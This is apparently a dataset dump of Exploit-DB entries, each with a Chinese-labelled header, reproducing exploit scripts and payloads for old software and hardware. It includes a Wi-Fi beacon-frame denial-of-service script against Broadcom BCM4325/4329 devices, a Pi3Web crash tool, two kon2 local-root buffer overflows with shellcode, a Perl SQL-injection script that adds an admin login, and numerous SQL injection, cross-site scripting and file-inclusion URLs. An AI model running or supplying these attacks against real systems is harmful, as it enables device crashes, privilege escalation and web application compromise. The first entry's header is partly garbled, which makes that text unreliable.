QLWD/code_shield huggingface dataset:
标题: Broadcom BCM4325 / BCM4329 Devices - Denial of Service EDB-ID: 22739 CVE: 2012-2619 类型: DOS 平台: HARDWARE 发布日期: 2012-11-15 漏洞利用脚本: # Exploit Author:
CoreLabs (Core Security Technologies) fue descubierta por el 
investigador argentino Andrés Blanco,
# Vendor Homepage: 
# Software Link: [download link if available]
# Version: 1.0
# Tested on: 
Apple iPhone 3GS 
Apple iPod 2G 
HTC Touch Pro 2 
HTC Droid Incredible 
Samsung Spica 
Acer Liquid 
Motorola Devour 
Vehículo Ford Edge 
Dispositivos afectados con el chipset BCM4329: 
Apple iPhone 4 
Apple iPhone 4 Verizon 
Apple iPod 3G 
Apple iPad Wi-Fi 
Apple iPad 3G 
Apple iPad 2 
Apple Tv 2G 
Motorola Xoom 
Motorola Droid X2 
Motorola Atrix 
Samsung Galaxy Tab 
Samsung Galaxy S 4G 
Samsung Nexus S 
Samsung Stratosphere 
Samsung Fascinate 
HTC Nexus One 
HTC Evo 4G 
HTC ThunderBolt 
HTC Droid Incredible 2 
LG Revolution 
Sony Ericsson Xperia Play 
Pantech Breakout 
Nokia Lumina 800 
Kyocera Echo 
Asus Transformer Prime 
Malata ZPad"

# CVE : 2012-2619
#!/usr/bin/env python 

import sys 
import time 
import struct 
import PyLorcon2 

def beaconFrameGenerator(): 
    sequence = 0 
    while(1): 
        sequence = sequence % 4096 

        # Frame Control 
        frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon 
        frame += '\x00' # Flags: 0 
        frame += '\x00\x00' # Duration: 0 
        frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff 
        frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad 
        frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad 
        frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence: 
#part of the generator 
        # Frame Body 
        frame += struct.pack('Q', time.time()) # Timestamp 
        frame += '\x64\x00' # Beacon Interval: 0.102400 seconds 
        frame += '\x11\x04' # Capability Information: ESS, Privacy, 
#Short Slot time 
        # Information Elements 
        # SSID: buggy 
        frame += '\x00\x05buggy' 
        # Supported Rates: 1,2,5.5,11,18,24,36,54 
        frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c' 
        # DS Parameter Set: 6 
        frame += '\x03\x01\x06' 
        # RSN IE 
        frame += '\x30' # ID: 48 
        frame += '\x14' # Size: 20 
        frame += '\x01\x00' # Version: 1 
        frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP 
        frame += '\x01\x00' # Pairwise cipher suite count: 1 
        frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP 
        frame += '\xff\xff' # Authentication suites count: 65535 
        frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK 
        frame += '\x00\x00' 

        sequence += 1 
        yield frame 

if __name__ == "__main__": 
    if len(sys.argv) != 2: 
        print "Usage:" 
        print "\t%s <wireless interface>" % sys.argv[0] 
        sys.exit(-1) 

    iface = sys.argv[1] 
    context = PyLorcon2.Context(iface) 
    context.open_injmon() 

    generator = beaconFrameGenerator() 

    for i in range(10000): 
        frame = generator.next() 
        time.sleep(0.100) 
        context.send_bytes(frame) URL: https://www.exploit-db.com/exploits/22739
标题: PHP 4 - 'PHPInfo()' Cross-Site Scripting EDB-ID: 22725 CVE: 2002-1954 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/7805/info

Scripts that include the PHP phpinfo() debugging function may be prone to cross-site scripting attacks. This could permit remote attackers to create a malicious link to a vulnerable PHP script that includes hostile client-side script code or HTML. If this link is visited, the attacker-supplied code may be rendered in the browser of the user who visit the malicious link. 

http://www.example.com/info.php?variable=[code]

where [code] equals hostile HTML or script code. URL: https://www.exploit-db.com/exploits/22725
标题: Pi3Web 2.0.2 - SortName Buffer Overflow EDB-ID: 22718 CVE: 2003-1032 类型: DOS 平台: WINDOWS 发布日期: 2003-06-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/7787/info

Pi3Web is prone to a buffer overflow vulnerability. This is due to insufficient bounds checking of URI parameters. This could be exploited to cause a denial of service or possibly to execute malicious instructions.

This issue was reported for Pi3Web 2.0.2 Beta 1 on Windows platforms. 

/*********************************************************************
*
*     Denial of Service Attack against Pi3 Web Server v2.0.2 05/2003
*
*
*    Tripbit Security Development
*    ----------------------------
*
*    Author: posidron
*
*    Contact
*    [-] Mail: posidron@tripbit.org
*    [-] Web: http://www.tripbit.org
*    [-] Forum: http://www.tripbit.org/wbboard
*       [-] IRC: irc.euirc.net 6667 #tripbit
*
*
*    Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe
*     Special thx: PeaceTreaty (securecrew.net)
*
*********************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int port, sockfd;
    struct sockaddr_in server;
    struct hostent *host;

    char sendstring[1024];

    strcpy(sendstring,"GET /</?SortName=A HTTP/1.0\n\n");

    if(argc < 3)
    {
        printf("Usage: %s [target] <port>\n",argv[0]);
        exit(0);
    }

    port = atoi(argv[2]);

    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
        printf("Connection failed!...\n");
        exit(0);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr((char*)argv[1]);

    if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
    {
        printf("Can't start socket()!\n");
        exit(0);
    }

    if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
    {
        printf("Can't connect!\n");
        exit(0);
    }

    printf("Dos against Pi3 Web Server v2.0.2\n");

    write(sockfd,sendstring,strlen(sendstring));

    printf("Attack done!...\n");

    close(sockfd);
} URL: https://www.exploit-db.com/exploits/22718
标题: MYRE Realty Manager - Multiple Vulnerabilities EDB-ID: 22713 CVE: 2012-6585 2012-6584 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-14 漏洞利用脚本: # Exploit Title:MYRE Realty Manager  Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/demo2/
# Tested on: Windows 7
# Blog: d3b4g.me



  
 
----------------------------------------------------------------------------------
 () SQL Injection :

---------------------------
 http://myrephp.com/demo2/search.php?bathrooms1= {Inject SQL}





() Cross Site Scripting:-




   http://localhost/path/search.php?bathrooms1=&bathrooms2=&bedrooms1=&bedrooms2=&cat_id1=%27%20onmouseover%3dprompt%28927207%29%20bad%3d%27&city1=&community1=&country1=&look=1&nolinks1=20&order=link_id&price1=&price2=&property_type1=&sort=DESC&state1=PENNSYLVANIA&zip1=%20HTTP/1.1






() Blin SQl injection:
  


   http://localhost/path/search.php?bathrooms1=0.5%20or%20%28sleep%282%29%2b1%29%20limit%201%20--



-end- URL: https://www.exploit-db.com/exploits/22713
标题: kon2 - Local Buffer Overflow (1) EDB-ID: 22719 CVE: 2002-1155 类型: LOCAL 平台: LINUX 发布日期: 2003-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/7790/info

A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system.

The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility.

#!/usr/bin/perl
####################################################################################
#Priv8security.com kon2 version 0.3.9b-16 and < local root exploit.
#
#    Tested on Redhat 8.0. should work on 9.0 and 7.3
#    Bug happens on -Coding arg.
#    Based on Redhat Advisory.
#
#    [wsxz@localhost buffer]$ perl priv8kon.pl
#    -=[ Priv8security.com kon local root exploit ]=-
#    usage: priv8kon.pl offset
#    [+] Using ret shellcode 0xbfffffc6
#    Kanji ON Console ver.0.3.9 (2000/04/09)
#
#    KON> video type 'VGA' selected
#    KON> hardware scroll mode.
#    sh-2.05b# id
#    uid=0(root) gid=0(root) groups=500(wsxz)
####################################################################################


$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

$path = "/usr/bin/kon";
$ret = 0xbffffffa - length($shellcode) - length($path);

$offset = $ARGV[0];

print "-=[ Priv8security.com kon2 local root exploit ]=-\n";
print "usage: $0 offset\n";
printf("[+] Using ret shellcode 0x%x\n",$ret + $offset);

$new_retword = pack('l', ($ret + $offset));
$buffer2 = "A" x 796;
$buffer2 .= $new_retword;
$buffer = $shellcode;
local($ENV{'WSXZ'}) = $buffer;
exec("$path -Coding $buffer2"); URL: https://www.exploit-db.com/exploits/22719
标题: Microsoft Internet Explorer 5 - OBJECT Tag Buffer Overflow EDB-ID: 22726 CVE: 2003-0344 类型: REMOTE 平台: WINDOWS 发布日期: 2003-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/7806/info

Microsoft Internet Explorer is prone to a boundary condition error when handling OBJECT tags in web pages. When a web page containing an OBJECT tag using a parameter containing excessive data is encountered by a vulnerable client, a internal memory buffer will be overrun. This could cause Internet Explorer to fail or potentially result in the execution arbitrary code in the security context of the current user.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22726.tar URL: https://www.exploit-db.com/exploits/22726
标题: kon2 - Local Buffer Overflow (2) EDB-ID: 22720 CVE: 2002-1155 类型: LOCAL 平台: LINUX 发布日期: 2003-06-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/7790/info
 
A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system.
 
The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility.

/*
 * Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0
 *
 * http://www.mail-archive.com/bugtraq@securityfocus.com/msg11681.html
 *
 * The original bug was found by wszx for RedHat 8.0 - Ported to C
 *
 * Compile: gcc -Wall kon2root kon2root.c
 *
 */


#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define NOP      0x90
#define RET      0xbffffffa
#define VULN     "/usr/bin/kon"
#define MAXBUF   800


static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07
\x89"
                           "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56
\x0c"
                           "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8
\xdc\xff"
                           "\xff\xff/bin/id";


int main()
{
        int i, *egg;
        long retaddr;
        static char buff[MAXBUF];
        static char *sploit[0x02] = { w00tI4r3l33t, NULL };


        fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ]
\n", VULN);
        fprintf (stdout, "[ Coded by c0ntex  -  http://62.31.72.168 ]\n");
        fprintf (stdout, "[ For Linux RedHat v9 x86  -  Ret_Addr
0xbffffffa ]\n\n\n\n");

        if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) !
= 0x00) {
                egg = (int *)(buff);
        }

        for(i = 0x00; i < MAXBUF; i += 0x04)
        *(egg)++ = retaddr; *(egg) = NOP;

        execle(VULN, VULN, "-Coding", buff, NULL, sploit);

        return(0x00);
} URL: https://www.exploit-db.com/exploits/22720
标题: dotProject 2.1.6 - Remote File Inclusion EDB-ID: 22708 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-14 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-11-13                              ]
 #################################################################
 #  [ dotProject <= 2.1.6 ] Remote File Inclusion Vulnerability  #
 #################################################################
 #
 # Script: "PHP web-based project management framework that includes modules for companies,
 #          projects, tasks (with Gantt charts), forums, files, calendar, contacts, tickets/helpdesk,
 #          multi-language support, user/module permissions and themes"
 #
 # Vendor:   http://www.dotproject.net/
 # Download: http://sourceforge.net/projects/dotproject/files/dotproject/dotProject%20Version%202.1.6/
 #
 #################################################################
 #
 # [ Remote File Inclusion ] ( allow_url_include = On; register_globals = On; )
 #
 # File: dotproject/modules/projectdesigner/gantt.php ( line: 8 ):
 # ..cut..
 # include ($dPconfig['root_dir'].'/lib/jpgraph/src/jpgraph.php');
 # ..cut..
 #
 # Vuln: http://localhost/dotproject/modules/projectdesigner/gantt.php?dPconfig[root_dir]=http://localhost/info.txt?
 #
 ### [ dun / 2012 ] ############################################# URL: https://www.exploit-db.com/exploits/22708
标题: MYREphp Vacation Rental Software - Multiple Vulnerabilities EDB-ID: 22712 CVE: 2012-6587 2012-6586 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-14 漏洞利用脚本: # Exploit Title: MYREphp Vacation Rental Software Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/vacation/
# Tested on: Windows 7
# Blog: d3b4g.me


 
  
 
----------------------------------------------------------------------------------
 () SQL Injection :

  This vulnerability affects
  ---------------------------
 /vacation/1_mobile/search.php.

   http://localhost/vacation/1_mobile/search.php?bathrooms1=&bedrooms1=&cata1=&cat_id1=&city1=&country1=&garage1=%28select%201%20and%20row%281%2c1%29%3e%28select%20count%28*%29%2cconcat%28concat%28CHAR%2852%29%2cCHAR%2867%29%2cCHAR%28117%29%2cCHAR%2881%29%2cCHAR%2878%29%2cCHAR%2879%29%2cCHAR%2866%29%2cCHAR%2871%29%2cCHAR%2866%29%2cCHAR%2880%29%2cCHAR%2849%29%29%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a%20group%20by%20x%20limit%201%29%29&keywords1=&look=3&nolinks1=5&order=price&page=2&pool1=&price1=&price2=&sort=DESC&state1=&zip1=
 

 () Cross Site Scripting:-


   http://localhost/vacation/1_mobile/alert_members.php?action=login&link_idd=%27%20onmouseover%3dprompt%28900153%29%20bad%3d%27

 



  () Blind SQL Injection
    
  Affected items:
  ------------------
  /vacation/1_mobile/search.php 
  /vacation/widgate/request_more_information.php

  POC:  http://localhost/vacation/1_mobile/search.php?bathrooms1=-1%20or%2077%20%3d%2075&bedrooms1=1&cat_id1=1&city1=San%20Francisco&look=1&nolinks1=20&order=link_id&price1=1&price2=1&sort=DESC

 
 
 
  # note :- This script is pr0n to multiple sql injection vuln.


-end-

-end- URL: https://www.exploit-db.com/exploits/22712
标题: Myrephp Business Directory - Multiple Vulnerabilities EDB-ID: 22711 CVE: 2012-6589 2012-6588 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-14 漏洞利用脚本: # Exploit Title: Myrephp Business Directory,  Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/biz/
# Tested on: Windows 7
# Blog: d3b4g.me



  
 
  ----------------------------------------------------------------------------------
  () SQL Injection :

   ---------------------------

  http://localhost/path/links.php?cat=1'[Insert Query]


  () Cross Site Scripting:-


   http:localhost/path/search.php?keywords1=&keywords2=&look=%27%20onmouseover%3dprompt%28945724%29%20bad%3d%27&nolinks1=10&order=city&page=2&sort=ASC URL: https://www.exploit-db.com/exploits/22711
标题: WebCortex WebStores2000 - SQL Injection EDB-ID: 22698 CVE: 2004-0304 类型: WEBAPPS 平台: ASP 发布日期: 2003-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/7766/info

This vulnerability is reportedly caused by a lack of sufficient sanitization of user-supplied data contained in URI parameters supplied to WebStores2000.

Successful exploitation may allow for modification of the structure of SQL queries, resulting in information disclosure, or database corruption. 

#!/usr/bin/perl -w
#This exploit create user with Mall Admin priv.
#You can login via /MallAdmin/
$pamer = "
1ndonesian Security Team (1st)
==============================
http://bosen.net/releases/

ws2k-ex.pl, WebStore2000 SQL Injection Proof of Concept
Exploit by  : Bosen
Discover by : Bosen
Greetz to   : AresU, TioEuy, syzwz, TioEuy, sakitjiwa, muthafuka
              all #hackers\@centrin.net.id/austnet.org";

use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
$| = 1;
print $pamer;
if ($#ARGV<3){
  print "\n Usage: perl ws2k-ex.pl <uri>\n\n";
  exit;
}
my $legend  = "$ARGV[0]/browse_item_details.asp?Item_ID=";
$legend    .= "''; insert into Mall_Logins values ('bosen','gembel')--";

my $bosen  = LWP::UserAgent->new();
my $gembel = HTTP::Request->new(GET => $legend);
my $dodol  = $bosen->request($gembel);
if ($dodol->is_error()) { printf " %s\n", $dodol->status_line;
} else { print "Alhamdulillah :P\n"; }
print "\n680165\n"; URL: https://www.exploit-db.com/exploits/22698
标题: PHP 4.x - Transparent Session ID Cross-Site Scripting EDB-ID: 22696 CVE: 2003-0442 类型: REMOTE 平台: PHP 发布日期: 2003-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/7761/info

A cross-site scripting vulnerability has been discovered in PHP. The problem occurs due to insufficient sanitization of the PHPSESSID URI parameter. An attacker may be capable of exploiting this vulnerability by constructing a malicious link containing script code embedded within this variable.

Successful exploitation of this issue would allow an attacker to execute arbitrary script code in a victim's browser within the context of the visited website. This may allow for the theft of sensitive information or other attacks. 

http://www.example.org/index.php?PHPSESSID="><script>...</script> URL: https://www.exploit-db.com/exploits/22696
标题: IrfanView - '.TIF' Image Decompression Buffer Overflow EDB-ID: 22681 CVE: 2009-5022 类型: DOS 平台: WINDOWS 发布日期: 2012-11-13 漏洞利用脚本: #####################################################################################

Application:  IrfanView TIF Image Decompression Buffer Overflow Vulnerability
Plateform:   Windows
Version:   The vulnerabilities are confirmed in version 4.33. Other versions may also be affected.
Exploitation:   Remote code execution

Secunia Number:   SA49856

{PRL}:   2012-31

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files
and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic
file formats, and has some image creation and painting capabilities. The software was first released in 1996.
IrfanView is free for non-commercial use; commercial use requires paid registration.
#####################################################################################

============
2) Timeline
============

2012-07-11 - Vulnerability reported to secunia
2012-11-12 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error when processing JPEG compressed TIFF images can be exploited to cause a
heap-based buffer overflow via a specially crafted "ImageWidth" value.
#####################################################################################

=============
4) The Code
=============

http://protekresearchlab.com/exploits/PRL-2012-31.tif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22681.tif.tar.gz (PRL-2012-31.tif.tar.gz) URL: https://www.exploit-db.com/exploits/22681
标题: Bandmin 1.4 - Cross-Site Scripting EDB-ID: 22669 CVE: 2003-0416 类型: WEBAPPS 平台: CGI 发布日期: 2003-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/7729/info

It has been reported that a cross-site scripting vulnerability exists in Bandmin. Because of this, an attacker may be able to execute script code or HTML in the context of the site hosting Bandmin by enticing a web user to follow a malicious link. 

http://www.example.com/bandwidth/index.cgi?action=showmonth&year=[FIRST SCRIPT]&month=[SECOND SCRIPT]

http://www.example.com/bandwidth/index.cgi?action=showhost&month=May&year=2003&host=[THIRD SCRIPT] URL: https://www.exploit-db.com/exploits/22669
标题: Sun ONE Application Server 7.0 - Source Disclosure EDB-ID: 22664 CVE: 2003-0411 类型: REMOTE 平台: WINDOWS 发布日期: 2003-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/7709/info

Sun ONE Application Server is prone to a source code disclosure vulnerability. This issue is due to handling of case in requests for resources. By changing the case of a file extension, the server may fail to interpret the script and instead serve it as a normal web resource.

This issue exists for Sun ONE Application Server 7.0 on Microsoft Windows platforms. Previous versions may also be affected. 

GET /[script].JSP HTTP/1.0

where [script] is the name of a script hosted by the server. URL: https://www.exploit-db.com/exploits/22664
标题: Sun ONE Application Server 7.0 - Error Message Cross-Site Scripting EDB-ID: 22665 CVE: 2003-0413 类型: REMOTE 平台: WINDOWS 发布日期: 2003-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/7710/info

Sun ONE Application Server has been reported prone to a cross-site scripting vulnerability.

Sun ONE Application Server does not adequately filter script code from URL parameters, making it prone to cross-site scripting attacks. Attacker-supplied script code may be included in a malicious link to a JSP application hosted on the vulnerable server. Under some circumstances if this link is followed the code will be executed in the browser of the web user who visits the link.

This issue affects a sample script supplied with the server. The vendor has reported that the sample application 'webapps-simple' affected by this issue is not enabled by default.

This vulnerability has been reported to affect Sun ONE Application Server 6.1, 6.1 Service Pack 1, and 7.0 on Windows platforms. 

GET /webapps-simple/jsp/source.jsp?<script>alert(document.cookie)</script>
HTTP/1.0 URL: https://www.exploit-db.com/exploits/22665